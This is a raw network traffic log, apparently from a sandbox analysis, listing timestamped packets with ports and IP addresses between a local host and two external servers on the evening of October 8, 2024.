Oct 8, 2024 20:52:27.892354012 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892386913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892399073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892412901 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892613888 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.892692089 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892703056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892716885 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892731905 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892750978 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892775059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892790079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892802000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892815113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892829895 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892842054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892853975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.892868996 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893120050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893132925 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893147945 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893167973 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893173933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893179893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893187046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893279076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893290997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893304110 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893316984 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893330097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893342972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893357992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893805981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893820047 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893832922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893856049 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893868923 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893882036 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.893894911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894023895 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894036055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894048929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894062042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894088030 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894100904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894114017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894125938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894139051 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894150972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.894162893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.912760973 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.913341999 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.913530111 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.913753986 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.913906097 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.914400101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914413929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914424896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914448023 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914493084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914505959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914531946 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914545059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914736986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914760113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914772987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914784908 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914797068 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914849997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914864063 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914968967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914979935 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.914992094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.915007114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.915030003 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.915246964 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.915260077 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.915277958 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.915290117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.916121960 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.916713953 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.916713953 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.920130014 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.920634985 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.920650005 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.921962023 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.921967030 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.937932014 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.937947989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.937959909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.938065052 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.938076019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.938086987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.938100100 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.944753885 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.944988012 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.977205038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977303982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977468967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977648973 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977663040 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977674961 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977688074 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.977870941 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978288889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978491068 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978503942 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978523970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978544950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978559017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978573084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978595972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978609085 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978621006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978632927 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978646040 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978657961 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978693962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978708982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978725910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978738070 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978750944 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978765011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978779078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978791952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978805065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978816986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978830099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978844881 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978859901 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978873014 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978893995 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978909016 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978933096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978944063 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978959084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978974104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.978988886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979034901 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979048967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979114056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979126930 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979140043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979160070 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979171991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979182959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979196072 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979208946 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979222059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979233027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979523897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979536057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979547977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979629040 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979641914 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979652882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979669094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979866028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979882002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979916096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979928970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979974031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.979988098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980046988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980060101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980071068 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980082989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980098009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980153084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980165958 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980180979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980192900 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980206013 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980220079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980300903 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980314016 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980325937 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980338097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980350971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.980365038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.988001108 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.988002062 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.988434076 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.988666058 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.988701105 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.989016056 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.993720055 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.001424074 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001447916 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001461029 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001472950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001487017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001501083 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001607895 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001620054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001630068 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001643896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001656055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001668930 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001682997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001703978 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001717091 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001729012 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001740932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001753092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001765966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.001779079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.010848045 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.010848045 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.011240005 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.011240959 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.011310101 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.024305105 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.024308920 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024342060 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024357080 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024416924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024432898 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024451971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024466038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.024478912 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.025707006 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.034034967 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.035403967 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.054405928 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.063935041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.063960075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.063972950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064049006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064060926 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064073086 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064093113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064299107 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064311028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064325094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064449072 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064460993 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064474106 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064487934 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064894915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.064937115 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065001965 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065015078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065027952 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065040112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065052986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065068960 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065077066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065093040 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065105915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065119028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065131903 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065145016 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065165997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065176010 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065176010 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065176010 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065186977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065186977 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065371990 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065382957 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065395117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065403938 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065407991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065423012 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065435886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065449953 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065485954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065512896 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065526962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065540075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065552950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065566063 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065587997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065599918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065603018 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.065612078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065638065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065654039 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065665960 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.065680981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066051960 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.066051960 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.066317081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066329002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066343069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066421032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066432953 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066445112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066457033 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066468954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066597939 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066610098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066622019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066634893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066648006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066659927 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066781998 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066797018 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066808939 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066821098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066844940 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066858053 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066870928 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066884041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066896915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066910028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.066927910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067009926 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067022085 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067034006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067047119 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067059040 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067074060 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067090034 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067102909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067117929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.067698956 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.067879915 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.068059921 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.068059921 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.068479061 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.068479061 CEST	49868	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.068501949 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.068511963 CEST	443	49868	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.088288069 CEST	3752	49855	147.45.126.71	192.168.2.9
